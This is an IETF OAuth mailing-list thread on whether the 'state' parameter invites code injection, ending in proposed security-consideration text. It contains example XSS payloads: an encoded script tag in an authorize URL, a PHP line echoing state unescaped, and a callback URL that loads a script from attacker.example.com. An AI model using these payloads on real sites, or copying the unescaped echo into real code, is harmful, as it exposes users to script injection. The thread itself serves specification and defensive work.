Subject: [OAUTH-WG] OAuth v2-18 comment on "state" parameter

From: Bob Van Zant <[email-masked]>
Date: Fri, 15 Jul 2011 08:35:10 -0700

Hi everyone,
I'm in the process of implementing OAuth and I'm a little concerned
about the "state" parameter that a client can send as part of the
authorization request. The spec says that the value is opaque and that
I need to accept, store, and reply with exactly what the client sent
me. Can we impose some restrictions on the type of data a client can
send?

The reason is that I don't necessarily trust the clients of my API to
properly deal with sanitizing data. If someone steals a client_id (not
hard) and puts something malicious into the state field I'll happily
redirect the resource owner to my client's site with malicious data in
state. If the client does not properly handle this malicious data
(there's an established track record here) then I've opened my
customer (the resource owner) to an attack.

Did I miss something in the spec where it limits what this variable
can be? If not I'd like to propose that we limit this field to a set
of characters that are safe. [a-zA-Z0-9_-]{0,100}

The authorization server would validate that the state field contains
only those characters and if not SHOULD show the resource owner an
error (consistent with section 4.1.2.1, paragraph 1 and others).

Thank you for all of your hard work on this spec to date and thanks
for your consideration of my comments.

-Bob

---

From: Eran Hammer-Lahav <[email-masked]>
Date: Fri, 15 Jul 2011 08:41:02 -0700

I don't see the problem. The state value is percent-encoded both ways, so the only way to inject a bad value there is by including a value that has special meaning to the client. Putting a character limit on it will not do anything to prevent that.

The server should reject requests with query parameters that are not properly percent-encoded.

EHL

> -----Original Message-----
> From: [email-masked] [mailto:[email-masked]] On Behalf
> Of Bob Van Zant
> Sent: Friday, July 15, 2011 8:35 AM
> To: OAuth WG
> Subject: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
> 
> Hi everyone,
> I'm in the process of implementing OAuth and I'm a little concerned about
> the "state" parameter that a client can send as part of the authorization
> request. The spec says that the value is opaque and that I need to accept,
> store, and reply with exactly what the client sent me. Can we impose some
> restrictions on the type of data a client can send?
> 
> The reason is that I don't necessarily trust the clients of my API to properly
> deal with sanitizing data. If someone steals a client_id (not
> hard) and puts something malicious into the state field I'll happily redirect the
> resource owner to my client's site with malicious data in state. If the client
> does not properly handle this malicious data (there's an established track
> record here) then I've opened my customer (the resource owner) to an
> attack.
> 
> Did I miss something in the spec where it limits what this variable can be? If
> not I'd like to propose that we limit this field to a set of characters that are
> safe. [a-zA-Z0-9_-]{0,100}
> 
> The authorization server would validate that the state field contains only
> those characters and if not SHOULD show the resource owner an error
> (consistent with section 4.1.2.1, paragraph 1 and others).
> 
> Thank you for all of your hard work on this spec to date and thanks for your
> consideration of my comments.
> 
> -Bob
> _______________________________________________
> OAuth mailing list
> [email-masked]
> https://www.ietf.org/mailman/listinfo/oauth

---

From: Bob Van Zant <[email-masked]>
Date: Fri, 15 Jul 2011 08:48:40 -0700

It wasn't the length that I cared about very much. Other than I don't
want to have to accept someone's 1024 byte state value (it's a waste
of my resources).

Percent encoding doesn't help when the client un-percent encodes it
and puts it verbatim onto his website. An example: Perhaps the state
variable is supposed to be the resource owner's name. The attacker
creates a link to my API that is:

/oauth/authorize?client_id=xxx&response_type=code&state=percent_encoded(<script>badstuff</script>)

If the client simply puts "state" back onto some webpage, after
un-percent encoding it but without HTML encoding it, then we have a
vulnerability?

-Bob

---

From: Eliot Lear <[email-masked]>
Date: Sun, 17 Jul 2011 11:49:21 +0200

Bob,

Just on this one point:

On 7/15/11 5:35 PM, Bob Van Zant wrote:
> The spec says that the value is opaque and that
> me. 

Where does it actually require you to "store" the "state" contents
beyond the point where you issue your reply?

One other point: if the redirection_uri can have fragments and can be
provided, why is state necessary?

Eliot

---

From: Bob Van Zant <[email-masked]>
Date: Sun, 17 Jul 2011 12:07:19 -0700

> beyond the point where you issue your reply?

Beyond the reply, you're right. I exaggerate a little. I sort of wish
application developers would figure out their own way to manage state.
Or, like I've asked for here, at least give me something in the spec
that allows me to impose limits.

> provided, why is state necessary?

Just to be clear, section 3.1.2 says that the redirect URI:

   MAY include a query component which MUST be retained by
   the authorization server when adding additional query parameters, and
   MUST NOT include a fragment component.

So the app developer could stick anything they want in the querystring
and as the authorization server we have to hang on to that in addition
to the state variable.

-Bob

---

From: Eran Hammer-Lahav <[email-masked]>
Date: Mon, 18 Jul 2011 23:32:20 -0700

> From: [email-masked] [mailto:[email-masked]] On Behalf Of Eliot Lear
> Sent: Sunday, July 17, 2011 2:49 AM

> provided, why is state necessary?

First, I assume you mean query instead of fragment.

This was discussed on the list about a year ago. There isn't a requirement to support both dynamic redirection URIs as well as a special state parameter. However, the state parameter provides a better way to allow customization of the redirection request alongside full registration of the redirection URI. Section 3.1.2 recommends using the state parameter over changing the redirection URI itself.

Using state is much simpler because the authorization server does not have to implement potentially insecure URI comparison algorithms for dynamic redirection URIs.

EHL

---

From: Breno <[email-masked]>
Date: Wed, 20 Jul 2011 08:24:31 -0700

On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav <[email-masked]>wrote:

> Of Eliot Lear
> This was discussed on the list about a year ago. There isn't a requirement
> to support both dynamic redirection URIs as well as a special state
> parameter. However, the state parameter provides a better way to allow
> customization of the redirection request alongside full registration of the
> redirection URI. Section 3.1.2 recommends using the state parameter over
> changing the redirection URI itself.
>
> Using state is much simpler because the authorization server does not have
> to implement potentially insecure URI comparison algorithms for dynamic
> redirection URIs.
>

Agree -- for instance, Google's provider doesn't allow arbitrary dynamic
specification of query or fragment parameters in redirect URIs, for
instance, due largely to security considerations.

-- 
Breno de Medeiros

---

From: Bob Van Zant <[email-masked]>
Date: Wed, 20 Jul 2011 09:09:50 -0700

I think somewhere in here my original comments got lost. The spec, as
written, provides no limitations on what can go in the state variable.
If we don't define those limitations in the spec implementors are
going to define their own limitations (I'm on the verge of doing it
myself).

I propose that the state variable be limited to the set of characters
[a-zA-Z0-9_-] and be restricted to a maximum length of 150 characters.
It's simple, doesn't require URL encoding, and will be hard for a
client application to turn into a vulnerability. It provides plenty of
uniqueness (it can fit a sha512) for even the largest and most used
client applications.

-Bob

---

From: Eran Hammer-Lahav <[email-masked]>
Date: Wed, 20 Jul 2011 09:11:22 -0700

Can you provide examples of bad values and how they make the implementation less secure? What's the attack vector here?

EHL

> From: [email-masked] [mailto:[email-masked]] On Behalf Of
> Bob Van Zant
> Sent: Wednesday, July 20, 2011 9:10 AM
> To: Breno; Eran Hammer-Lahav
> Cc: OAuth WG
> Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter
> 
> If we don't define those limitations in the spec implementors are going to
> define their own limitations (I'm on the verge of doing it myself).
> 
> I propose that the state variable be limited to the set of characters [a-zA-Z0-
> 9_-] and be restricted to a maximum length of 150 characters.
> It's simple, doesn't require URL encoding, and will be hard for a client
> application to turn into a vulnerability. It provides plenty of uniqueness (it can
> fit a sha512) for even the largest and most used client applications.
> 
> -Bob
> 
> 
> > On Mon, Jul 18, 2011 at 11:32 PM, Eran Hammer-Lahav
> > <[email-masked]>
> > wrote:
> >>
> >>
> >> > One other point: if the redirection_uri can have fragments and can
> >> > be provided, why is state necessary?
> >>
> >> This was discussed on the list about a year ago. There isn't a
> >> requirement to support both dynamic redirection URIs as well as a
> >> special state parameter. However, the state parameter provides a
> >> better way to allow customization of the redirection request
> >> alongside full registration of the redirection URI. Section 3.1.2
> >> recommends using the state parameter over changing the redirection URI
> itself.
> >>
> >> Using state is much simpler because the authorization server does not
> >> have to implement potentially insecure URI comparison algorithms for
> >> dynamic redirection URIs.
> >
> > Agree -- for instance, Google's provider doesn't allow arbitrary
> > dynamic specification of query or fragment parameters in redirect
> > URIs, for instance, due largely to security considerations.
> >
> >>
> >> EHL

---

From: Bob Van Zant <[email-masked]>
Date: Wed, 20 Jul 2011 09:28:43 -0700

The problem lies in the inherent trust of the state parameter. The
naive client application developer assumes that state goes out to the
authorization server and comes back unchanged; because that's what the
spec says will happen.

As a malicious person I use the client application and steal the
client id when I'm redirected to the authorization server.

I then craft my own authorization URL pretending to act on behalf of
the client application.

http://example.com/oauth/authorize?client_id=deadbeef&response_type=code&state=%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscript%3E

I send that out to unsuspecting people. Those people are sent to my
site; maybe they trust it. The site is asking them to authorize an
application they perhaps they're familiar with. So they do.

Now the assumption, and it's really not much of a leap of faith, is
that some client developer is going to take that state variable and
put it directly into their site. In PHP it could be something silly
like:

    Thanks for authorizing our app, $_GET["state"].

Chrome protects me from this basic attack (I just inserted it into one
of my demos): Refused to execute a JavaScript script. Source code of
script found within request. Other browsers won't. Real attackers are
more creative than me.

-Bob

---

From: Eran Hammer-Lahav <[email-masked]>
Date: Wed, 20 Jul 2011 10:36:54 -0700

I think most of your description isn't very relevant to this particular attack. I'll skip to the part where the legitimate client gets a maliciously modified state parameter value.

Your concern seems to be a simple code injection attack (e.g. that some clients will not properly protect their code from invalid state values). For example, a client may use state to pass a JSON string and when it receives it back, calls eval() on the raw state value or even JSON.parse without catching exceptions.

The right way to address this is to add a new security consideration section discussion the various Injection Attacks possible. Using state to include malicious code is one. Another is code injection in the redirect_uri by a malicious client to an authorization server supporting dynamic redirection URIs.

Then of course, there really is no need for any elaborate setup for anyone to send requests to the client redirection URI endpoint directly (without following any of the flow). In such a case, the enforcement of safe state values by the authorization server will accomplish nothing if the client doesn't perform its own validation (and we're back to square one). In other words, I can call any endpoint on the client with any malicious parameters and try to break it.

But even if you perform input validation on the client side, which should prevent a code injection attack, you are still open to other malicious manipulation of the state parameter. For example, a naïve client can use the state parameter to pass a user id so that when the redirection callback is called, it can link the access token to that account. That of course, would be a very bad thing (tm) without some protection (e.g. state cookie) which the client can use to validate the state value.

In short, over specification does not solve ignorance. We can and should highlight the possible code injection attacks on both the client and authorization server, as well as other security concerns around the state parameter. But at the end, it is up to both the client and authorization server developers to build secure applications.

So, anyone volunteering to propose text?

EHL

> Sent: Wednesday, July 20, 2011 9:29 AM
> To: Eran Hammer-Lahav
> Cc: Breno; OAuth WG
> The problem lies in the inherent trust of the state parameter. The naive
> client application developer assumes that state goes out to the authorization
> server and comes back unchanged; because that's what the spec says will
> happen.
> 
> As a malicious person I use the client application and steal the client id when
> I'm redirected to the authorization server.
> 
> I then craft my own authorization URL pretending to act on behalf of the
> client application.
> 
> http://example.com/oauth/authorize?client_id=deadbeef&response_type=
> code&state=%3Cscript%3Ealert%28%22omg%22%29%3B%3C%2Fscript%3E
> 
> I send that out to unsuspecting people. Those people are sent to my site;
> maybe they trust it. The site is asking them to authorize an application they
> perhaps they're familiar with. So they do.
> 
> Now the assumption, and it's really not much of a leap of faith, is that some
> client developer is going to take that state variable and put it directly into
> their site. In PHP it could be something silly
> like:
> 
> Chrome protects me from this basic attack (I just inserted it into one of my
> demos): Refused to execute a JavaScript script. Source code of script found
> within request. Other browsers won't. Real attackers are more creative than
> me.
> 
> -Bob
> 
> 
> 
> 
> 
> > Can you provide examples of bad values and how they make the
> implementation less secure? What's the attack vector here?
> >
> > EHL
> >
> >> going to define their own limitations (I'm on the verge of doing it myself).
> >>
> >> [a-zA-Z0- 9_-] and be restricted to a maximum length of 150 characters.
> >> client application to turn into a vulnerability. It provides plenty
> >> of uniqueness (it can fit a sha512) for even the largest and most used
> client applications.
> >>
> >> -Bob
> >>
> >>
> >> >> > One other point: if the redirection_uri can have fragments and
> >> >> > can be provided, why is state necessary?
> >> >>
> >> >> Using state is much simpler because the authorization server does
> >> >> not have to implement potentially insecure URI comparison
> >> >> algorithms for dynamic redirection URIs.
> >> >

---

From: Bob Van Zant <[email-masked]>
Date: Wed, 20 Jul 2011 11:28:10 -0700

> So, anyone volunteering to propose text?

I'll give it a shot.

---

From: Aiden Bell <[email-masked]>
Date: Wed, 20 Jul 2011 19:38:28 +0100

Been following this discussion

I'll propose some text, though it seems to me it is getting into the realm
of "Don't trust inputs"

It is also worth noting that signing the request using something like the
HMAC extension elevates any
problems where you DO need to evaluate the state parameter in some way where
the evaluation process
is too complex to secure (DSLs and languages in state, which is really ugly
but, someone may do it).

Really though, just seems like general application security advice rather
than OAuth specific

Security Consideration: Code Injection Attacks

Incorrect validation or sanitation of the 'state' parameter from section
4.1.2 could lead to code
injection.

Both client and server SHOULD ensure that the "state" parameter described
in section 4.1.2 is correctly validated, escaped or sanitised prior to
processing for their application's
requirements. Modifications, for security or otherwise to the 'state'
variable contained in the Authorization Request by the
authorization server will not be transmitted to the client in the
Authorization Response or Error Response
as the response 'state' value MUST be identical to the value in the request.

If the 'state' parameter passed between client and server contains a value
which is interpreted or
otherwise placed into a context that requires evaluation of the unmodified
value then a cryptographic
scheme such as that defined in [I-D.ietf-oauth-v2-http-mac] should be used
to verify request authenticity.
It should be noted however than a cryptographically authentic request may
still contain malicious
code if the client or server integrity can not be established and trusted.

As an example, a malicious person may create a fake Error Response as
described in section
4.1.2.1 containing a maliciously crafted state parameter. The following
request would be sent to
the client:

https://client.example.com/cb?error=access_denied&state=%3Cscript%20type%3D%22text%2Fjavascript%22%20src%3D%22http%3A%2F%2Fattacker.example.com%2Fmalicious.js%22%20%2F%3E

Insecure transfer of the decoded value into the HTML buffer of the client
application
may result in the injection of code into the user agent of the end user,
possibly compromising data.
This example attack can be mitigated by sanitising the 'state' parameter to
remove or escape HTML
syntax before interpolation of the value into server output to the user
agent.

--end--

Not claiming it is good, well written or concise ... but it is proposed.
Even if it is rejected, feedback
would be appreciated.

Thanks,
Aiden

On 20 July 2011 18:36, Eran Hammer-Lahav <[email-masked]> wrote:

> I think most of your description isn't very relevant to this particular
> attack. I'll skip to the part where the legitimate client gets a maliciously
> modified state parameter value.
>
> Your concern seems to be a simple code injection attack (e.g. that some
> clients will not properly protect their code from invalid state values). For
> example, a client may use state to pass a JSON string and when it receives
> it back, calls eval() on the raw state value or even JSON.parse without
> catching exceptions.
>
> The right way to address this is to add a new security consideration
> section discussion the various Injection Attacks possible. Using state to
> include malicious code is one. Another is code injection in the redirect_uri
> by a malicious client to an authorization server supporting dynamic
> redirection URIs.
>
> Then of course, there really is no need for any elaborate setup for anyone
> to send requests to the client redirection URI endpoint directly (without
> following any of the flow). In such a case, the enforcement of safe state
> values by the authorization server will accomplish nothing if the client
> doesn't perform its own validation (and we're back to square one). In other
> words, I can call any endpoint on the client with any malicious parameters
> and try to break it.
>
> But even if you perform input validation on the client side, which should
> prevent a code injection attack, you are still open to other malicious
> manipulation of the state parameter. For example, a naïve client can use the
> state parameter to pass a user id so that when the redirection callback is
> called, it can link the access token to that account. That of course, would
> be a very bad thing (tm) without some protection (e.g. state cookie) which
> the client can use to validate the state value.
>
> In short, over specification does not solve ignorance. We can and should
> highlight the possible code injection attacks on both the client and
> authorization server, as well as other security concerns around the state
> parameter. But at the end, it is up to both the client and authorization
> server developers to build secure applications.
>

-- 
------------------------------------------------------------------
Never send sensitive or private information via email unless it is
encrypted. http://www.gnupg.org

---

From: Eran Hammer-Lahav <[email-masked]>
Date: Wed, 20 Jul 2011 11:40:23 -0700

Take a look at how the other sections in the draft setup the premise first and give a quick explanation of the attack...

EHL

From: Aiden Bell [mailto:[email-masked]]
Sent: Wednesday, July 20, 2011 11:38 AM
To: Eran Hammer-Lahav; OAuth WG
Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter

I'll propose some text, though it seems to me it is getting into the realm of "Don't trust inputs"

It is also worth noting that signing the request using something like the HMAC extension elevates any
problems where you DO need to evaluate the state parameter in some way where the evaluation process
is too complex to secure (DSLs and languages in state, which is really ugly but, someone may do it).

Really though, just seems like general application security advice rather than OAuth specific

Incorrect validation or sanitation of the 'state' parameter from section 4.1.2 could lead to code
injection.

Both client and server SHOULD ensure that the "state" parameter described
in section 4.1.2 is correctly validated, escaped or sanitised prior to processing for their application's
requirements. Modifications, for security or otherwise to the 'state' variable contained in the Authorization Request by the
authorization server will not be transmitted to the client in the Authorization Response or Error Response
as the response 'state' value MUST be identical to the value in the request.

If the 'state' parameter passed between client and server contains a value which is interpreted or
otherwise placed into a context that requires evaluation of the unmodified value then a cryptographic
scheme such as that defined in [I-D.ietf-oauth-v2-http-mac] should be used to verify request authenticity.
It should be noted however than a cryptographically authentic request may still contain malicious
code if the client or server integrity can not be established and trusted.

As an example, a malicious person may create a fake Error Response as described in section
4.1.2.1 containing a maliciously crafted state parameter. The following request would be sent to
the client:

Insecure transfer of the decoded value into the HTML buffer of the client application
may result in the injection of code into the user agent of the end user, possibly compromising data.
This example attack can be mitigated by sanitising the 'state' parameter to remove or escape HTML
syntax before interpolation of the value into server output to the user agent.

--end--

Not claiming it is good, well written or concise ... but it is proposed. Even if it is rejected, feedback
would be appreciated.

Thanks,
Aiden

On 20 July 2011 18:36, Eran Hammer-Lahav <[email-masked]<mailto:[email-masked]>> wrote:
I think most of your description isn't very relevant to this particular attack. I'll skip to the part where the legitimate client gets a maliciously modified state parameter value.

EHL

> From: [email-masked]<mailto:[email-masked]> [mailto:[email-masked]<mailto:[email-masked]>] On Behalf Of
> Bob Van Zant
> On Wed, Jul 20, 2011 at 9:11 AM, Eran Hammer-Lahav
> <[email-masked]<mailto:[email-masked]>> wrote:
> >> From: [email-masked]<mailto:[email-masked]> [mailto:[email-masked]<mailto:[email-masked]>] On Behalf
> Of
> >> Bob Van Zant
> >> On Wed, Jul 20, 2011 at 8:24 AM, Breno <[email-masked]<mailto:[email-masked]>>
> >> wrote:
> >> >
> >> >
> >> > <[email-masked]<mailto:[email-masked]>>
> >> > wrote:
> >> >>
> >> >>
> >> >> > From: [email-masked]<mailto:[email-masked]> [mailto:[email-masked]<mailto:[email-masked]>] On
> >> >> > Behalf Of Eliot Lear
> >> >> [email-masked]<mailto:[email-masked]>
_______________________________________________
OAuth mailing list
[email-masked]<mailto:[email-masked]>
https://www.ietf.org/mailman/listinfo/oauth

--
------------------------------------------------------------------
Never send sensitive or private information via email unless it is encrypted. http://www.gnupg.org

---

From: Aiden Bell <[email-masked]>
Date: Wed, 20 Jul 2011 20:04:02 +0100

See below for revision, tried to follow the "introduction, recommendation,
example"
structure in 10.12 "Cross-site Request Forgery" and shorten my text.

I'm strugging to make it clear that any internal modification to the 'state'
parameter
must not affect the re-transmitted value of 'state' in Authorization
Response / Error
Response when it originates from the authorisation server.

---

Code injection attacks are when an input or otherwise external variable is
used within
an application where that input can cause modification of application logic
when unsanitised. This may allow an attacker to gain access to client or
user data,
cause Denial of Service or a wide range of malicious side-effects.

Incorrect validation or sanitation of the 'state' parameter from section
4.1.2 could lead to code
injection. Both client and server SHOULD ensure that the "state" parameter
described
in section 4.1.2 is correctly sanitised for internal processing, storage or
output outside the
scope of the OAuth protocol.

Failure to correctly sanitise the 'state' parameter can cause code injection
attacks even if a
cryptographically secure extension such as [I-D.ietf-oauth-v2-http-mac] is
used.

--end--

On 20 July 2011 19:40, Eran Hammer-Lahav <[email-masked]> wrote:

> Take a look at how the other sections in the draft setup the premise first
> and give a quick explanation of the attack…****
>
> ** **
>
> EHL****
>
> ** **
>
> *From:* Aiden Bell [mailto:[email-masked]]
> *Sent:* Wednesday, July 20, 2011 11:38 AM
> *To:* Eran Hammer-Lahav; OAuth WG
>
> *Subject:* Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter****
>
> ** **
>
> ****
> On 20 July 2011 18:36, Eran Hammer-Lahav <[email-masked]> wrote:****
>
> So, anyone volunteering to propose text?****
>
>
> EHL
>
>
> > Bob Van Zant****
> > Cc: Breno; OAuth WG****
> > <[email-masked]> wrote:
> https://www.ietf.org/mailman/listinfo/oauth****
>
>
>
>
> --
> encrypted. http://www.gnupg.org****
>

---

From: Eran Hammer-Lahav <[email-masked]>
Date: Sun, 24 Jul 2011 23:37:36 -0700

This seems too verbose, considering how fundamental input validation is in general.

I added the following to a new section:

          A code injection attack occurs when an input or otherwise external variable is used by an
          application in which that input can cause modification of the application logic when used
          unsanitized. This may allow an attacker to gain access to the application device or its
          data, cause denial of service, or a wide range of malicious side-effects.
        </t>
        <t>
          The Authorization server and client MUST validate and sanitize any value received, and in
          particular, the value of the 'state' and 'redirect_uri' parameters.

EHL

From: [email-masked] [mailto:[email-masked]] On Behalf Of Aiden Bell
Sent: Wednesday, July 20, 2011 12:04 PM
To: OAuth WG
Subject: Re: [OAUTH-WG] OAuth v2-18 comment on "state" parameter

See below for revision, tried to follow the "introduction, recommendation, example"
structure in 10.12 "Cross-site Request Forgery" and shorten my text.

I'm strugging to make it clear that any internal modification to the 'state' parameter
must not affect the re-transmitted value of 'state' in Authorization Response / Error
Response when it originates from the authorisation server.

---

Security Consideration: Code Injection Attacks
Code injection attacks are when an input or otherwise external variable is used within
an application where that input can cause modification of application logic
when unsanitised. This may allow an attacker to gain access to client or user data,
cause Denial of Service or a wide range of malicious side-effects.

Incorrect validation or sanitation of the 'state' parameter from section 4.1.2 could lead to code
injection. Both client and server SHOULD ensure that the "state" parameter described
in section 4.1.2 is correctly sanitised for internal processing, storage or output outside the
scope of the OAuth protocol.

Failure to correctly sanitise the 'state' parameter can cause code injection attacks even if a
cryptographically secure extension such as [I-D.ietf-oauth-v2-http-mac] is used.

--end--
On 20 July 2011 19:40, Eran Hammer-Lahav <[email-masked]<mailto:[email-masked]>> wrote:
Take a look at how the other sections in the draft setup the premise first and give a quick explanation of the attack...

EHL

From: Aiden Bell [mailto:[email-masked]<mailto:[email-masked]>]
Sent: Wednesday, July 20, 2011 11:38 AM
To: Eran Hammer-Lahav; OAuth WG

--end--

Thanks,
Aiden

EHL

---

From: Aiden Bell <[email-masked]>
Date: Mon, 25 Jul 2011 10:37:39 +0100

Sounds good Eran

On 25 July 2011 07:37, Eran Hammer-Lahav <[email-masked]> wrote:

> This seems too verbose, considering how fundamental input validation is in
> general.****
>
> ** **
>
> I added the following to a new section:****
>
> ** **
>
>           A code injection attack occurs when an input or otherwise
> external variable is used by an****
>
>           application in which that input can cause modification of the
> application logic when used****
>
>           unsanitized. This may allow an attacker to gain access to the
> application device or its****
>
>           data, cause denial of service, or a wide range of malicious
> side-effects.****
>
>         </t>****
>
>         <t>****
>
>           The Authorization server and client MUST validate and sanitize
> any value received, and in****
>
>           particular, the value of the ‘state’ and ‘redirect_uri’
> parameters.****
>
> ** **
>
> EHL****
>
> ** **
>
> ** **
>
> ** **
>
> *From:* [email-masked] [mailto:[email-masked]] *On Behalf
> Of *Aiden Bell
> *Sent:* Wednesday, July 20, 2011 12:04 PM
> *To:* OAuth WG
>
> ---****
> Security Consideration: Code Injection Attacks****
>
> cause Denial of Service or a wide range of malicious side-effects.****
>
>
>
> described****
> --end--****
> On 20 July 2011 19:40, Eran Hammer-Lahav <[email-masked]> wrote:****
>
> *To:* Eran Hammer-Lahav; OAuth WG****
>
>
> Aiden****